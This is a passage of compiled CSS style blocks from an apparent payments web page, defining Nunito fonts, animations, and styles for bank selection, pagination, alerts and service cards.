src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.payment-selection-bank__container {
width: 700px;
display: flex;
flex-wrap: wrap; }
@media (max-width: 727px) {
.payment-selection-bank__container {
width: 100%;
justify-content: space-between; } }
.payment-selection-bank__container .container__bank {
width: 163px;
height: 56px;
position: relative;
background-color: #ffffff;
border-radius: 6px;
display: flex;
justify-content: center;
align-items: center;
margin: 0 16px 24px 0;
cursor: pointer;
box-sizing: border-box;
border: 1px solid #ffffff;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-touch-callout: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none; }
.payment-selection-bank__container .container__bank:nth-child(4n) {
margin-right: 0; }
.payment-selection-bank__container .container__bank:hover {
border: 1px solid #cbd4dc; }
.payment-selection-bank__container .container__bank.active {
border: 1px solid #04c532;
box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.04), 0px 16px 24px rgba(96, 97, 112, 0.16);
z-index: 2; }
.payment-selection-bank__container .container__bank.active .bank__active {
width: 14px;
height: 14px;
position: absolute;
background-color: #04c532;
border-radius: 50%;
top: -4px;
right: -4px;
display: flex;
justify-content: center;
align-items: center; }
.payment-selection-bank__container .container__bank.active .bank__active .active__icon {
width: 6px;
height: 6px; }
.payment-selection-bank__container .container__bank.desactive {
opacity: .6; }
@media (max-width: 320px) {
.payment-selection-bank__container .container__bank {
width: 140px; } }
@media (max-width: 727px) {
.payment-selection-bank__container .container__bank {
margin: 0 auto 16px 0; }
.payment-selection-bank__container .container__bank:nth-child(2n) {
margin-right: 0; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-pagination {
display: flex;
width: 100%;
justify-content: space-between; }
.main-pagination .pagination-item {
display: flex;
width: 32px;
height: 32px;
background: #ffffff;
border-radius: 25px;
justify-content: center;
align-items: center;
border: 1px solid #cbd4dc;
box-sizing: border-box;
cursor: pointer;
color: #416179;
font-size: 16px;
font-family: Nunito-SemiBold; }
.main-pagination .pagination-item.default.active {
background: #ff7a02;
color: #ffffff;
border: 1px solid #ff7a02;
cursor: default; }
.main-pagination .pagination-item.paris.active {
background: #009ce0;
color: #ffffff;
border: 1px solid #009ce0;
cursor: default; }
.main-pagination .pagination-item.disable {
cursor: default;
background: #dee2e6;
border-color: #dee2e6; }
.main-pagination .pagination-item.dots {
cursor: default; }
.main-pagination .pagination-item img {
width: 6px;
height: 10px; }
.main-pagination .pagination-item.rotate-180 img {
-webkit-transform: rotate(180deg);
-moz-transform: rotate(180deg);
-ms-transform: rotate(180deg);
-o-transform: rotate(180deg);
transform: rotate(180deg); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.alert {
display: flex;
align-items: center;
border-radius: 6px;
font-size: 16px;
line-height: 22px;
font-family: Nunito-Regular; }
.alert.alert--title {
flex-direction: column;
justify-content: center;
align-items: initial;
padding: 24px 16px 30px 16px; }
.alert.alert--not-title {
padding: 8px 12px; }
.alert div {
display: flex;
align-items: center;
margin-bottom: 10px;
font-family: NunitoSans-Bold; }
.alert img {
width: 20px;
height: 20px;
margin-right: 10px; }
.alert.alert--information {
background-color: #dfebf4;
color: #0169b5;
border-left: 5px solid #0169b5; }
.alert.alert--success {
background-color: #e0f4e7;
color: #04c532;
border-left: 5px solid #04c532; }
.alert.alert--warning {
background-color: #FFFBF5;
color: #9F690B;
border-left: 5px solid #feb638; }
.alert.alert--error {
background-color: #f9e7eb;
color: #ff4858;
border-left: 5px solid #ff4858; }
@media (max-width: 727px) {
.alert {
align-items: flex-start; }
.alert div {
align-items: flex-start; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.card--shared--increase__container {
width: 280px;
display: flex;
flex-direction: column;
filter: drop-shadow(0px 0px 2px rgba(40, 41, 61, 0.04)) drop-shadow(0px 4px 8px rgba(96, 97, 112, 0.16));
border-radius: 20px;
position: relative; }
.card--shared--increase__container .container__amoeba--top {
width: 120px;
position: absolute;
z-index: 2;
top: -20px;
left: -25px; }
.card--shared--increase__container .container__image {
width: 100%;
height: 120px;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
border-radius: 20px 20px 0 0; }
.card--shared--increase__container .container__information {
width: 100%;
background-color: #ffffff;
border-radius: 0 0 20px 20px;
padding: 20px 16px 24px 16px;
box-sizing: border-box; }
.card--shared--increase__container .container__information .information__current--label {
font-family: Nunito-SemiBold;
font-size: 14px;
line-height: 20px;
background: linear-gradient(81.68deg, #FC671F 9.77%, #A40089 58.39%, #2463B2 102.55%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.card--shared--increase__container .container__information .information__current--quota {
font-family: Nunito-ExtraBold;
font-size: 24px;
line-height: 32px;
margin: 0 0 12px 0;
background: linear-gradient(81.68deg, #FC671F 9.77%, #A40089 58.39%, #2463B2 102.55%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.card--shared--increase__container .container__information .information__now--label {
font-family: Nunito-SemiBold;
font-size: 20px;
line-height: 28px;
background: linear-gradient(81.68deg, #FC671F 9.77%, #A40089 58.39%, #2463B2 102.55%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.card--shared--increase__container .container__information .information__now--quota {
font-family: Nunito-ExtraBold;
font-size: 36px;
line-height: 50px;
margin: 0 0 16px 0;
background: linear-gradient(81.68deg, #FC671F 9.77%, #A40089 58.39%, #2463B2 102.55%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.card--shared--increase__container .container__information .information__degrade {
width: 100%;
height: 16px;
background: linear-gradient(81.68deg, #FC671F 9.77%, #A40089 58.39%, #2463B2 102.55%);
position: absolute;
left: 0;
bottom: 0;
border-radius: 0 0 20px 20px; }
.card--shared--increase__container .container__amoeba--footer {
width: 120px;
position: absolute;
z-index: 2;
bottom: -20px;
right: -25px;
-webkit-transform: rotate(180deg);
-moz-transform: rotate(180deg);
-ms-transform: rotate(180deg);
-o-transform: rotate(180deg);
transform: rotate(180deg); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.card-service-available {
width: 224px;
height: 311px;
border-radius: 10px;
border: 1px solid #DDE7F0;
background: #ffffff;
box-sizing: content-box;
display: flex;
flex-direction: column; }
@media (max-width: 1023px) {
.card-service-available {
width: 100%;
height: 140px;
flex-direction: row; } }
.card-service-available .upper-section {
justify-content: center; }
@media (max-width: 1023px) {
.card-service-available .upper-section {
height: 100%;
width: 140px;
display: flex; } }
.card-service-available .upper-section .title-in-container {
border-radius: 9px 9px 0px 0px;
background: #EEF4FC;
width: 100%;
display: flex;
height: 66px; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-in-container {
height: 100%;
border-radius: 9px 0px 0px 9px; } }
.card-service-available .upper-section .title-in-container .title-advance-container {
width: 100%;
justify-content: flex-end;
display: flex;
align-items: center;
margin: 0px 7px 0px 20px;
position: relative;
overflow: hidden; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-in-container .title-advance-container {
display: flex;
flex-direction: column;
align-items: center;
position: unset;
overflow: unset;
margin: 0px 8px 0px 12px; } }
.card-service-available .upper-section .title-in-container .title-advance-container .title-advance-text {
display: flex;
margin: 0px 12px 0px 0px;
text-align: right;
width: 71.28px;
height: 24.87px; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-in-container .title-advance-container .title-advance-text {
font-size: 16px;
justify-content: center; } }
.card-service-available .upper-section .title-in-container .title-advance-container .title-advance-image {
height: 95px; }
.card-service-available .upper-section .title-circle-container {
position: relative;
overflow: hidden;
height: 100%;
border-radius: 9px 9px 0px 0px; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-circle-container {
display: flex;
position: unset;
overflow: unset;
width: 100%;
margin: 12px 16px;
border-radius: 9px 0px 0px 9px; } }
.card-service-available .upper-section .title-circle-container .title-container {
display: flex;
align-items: center;
margin: 13px 20px 0px; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-circle-container .title-container {
margin: 0px;
display: flex;
align-items: center;
width: 100%;
height: auto;
flex-direction: column-reverse;
justify-content: flex-end; } }
.card-service-available .upper-section .title-circle-container .title-container .title-text {
margin: 0px 0px 0px 30px;
display: flex;
width: 100%;
justify-content: center;
font-family: NunitoSans-Bold;
font-size: 18px;
color: #0169b5; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-circle-container .title-container .title-text {
margin: 0px;
font-size: 16px;
line-height: 21.82px; } }
.card-service-available .upper-section .title-circle-container .title-container .title-image {
z-index: 1;
height: 72px;
width: 72px; }
.card-service-available .upper-section .title-circle-container .circle {
position: absolute;
width: 133px;
height: 133px;
border-radius: 50%;
background: linear-gradient(106.57deg, #FE6C02 8.06%, #FFA825 72.13%);
left: -17px;
top: -69px;
transform: matrix(-1, 0, 0, 1, 0, 0);
overflow: auto; }
@media (max-width: 1023px) {
.card-service-available .upper-section .title-circle-container .circle {
display: none;
position: unset;
width: 0px;
height: 0px; } }
.card-service-available .middle-section {
display: flex;
flex-direction: column;
justify-content: space-between;
margin: 25px 20px 20px;
height: 100%; }
@media (max-width: 1023px) {
.card-service-available .middle-section {
flex: 1 1 100%;
margin: 0;
height: 140px; } }
.card-service-available .middle-section .badge-container {
display: flex;
flex-direction: column;
align-items: flex-start;
margin: 0px 0px 6px; }
.card-service-available .middle-section .badge-container .rectangle {
height: 20px; }
.card-service-available .middle-section .badge-container .badge-text {
font-size: 9px;
line-height: 12.28px; }
.card-service-available .middle-section .children-container {
display: flex;
flex-direction: column;
align-items: flex-start; }
.card-service-available .middle-section .button-container {
width: 100%; }
@media (max-width: 1023px) {
.card-service-available .middle-section .button-container {
display: none; } }
.card-service-available .middle-section .button-container .button.button--medium {
padding: 8px 8px;
font-size: 14px;
line-height: 24px; }
.card-service-available .middle-section .button-container .button {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%);
width: 100%; }
.card-service-available .middle-section .button-container .button:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7);
box-shadow: 0px 16px 16px -10px rgba(124, 71, 191, 0.7); }
.card-service-available .middle-section .button-container .button:focus {
-webkit-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
-o-box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7);
box-shadow: 0px 0px 10px rgba(124, 71, 191, 0.7); }
.card-service-available .middle-section .button-container .button-link {
text-decoration: none;
color: white;
font-family: Nunito-Bold;
font-size: 14px;
color: #ffffff;
line-height: 24px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
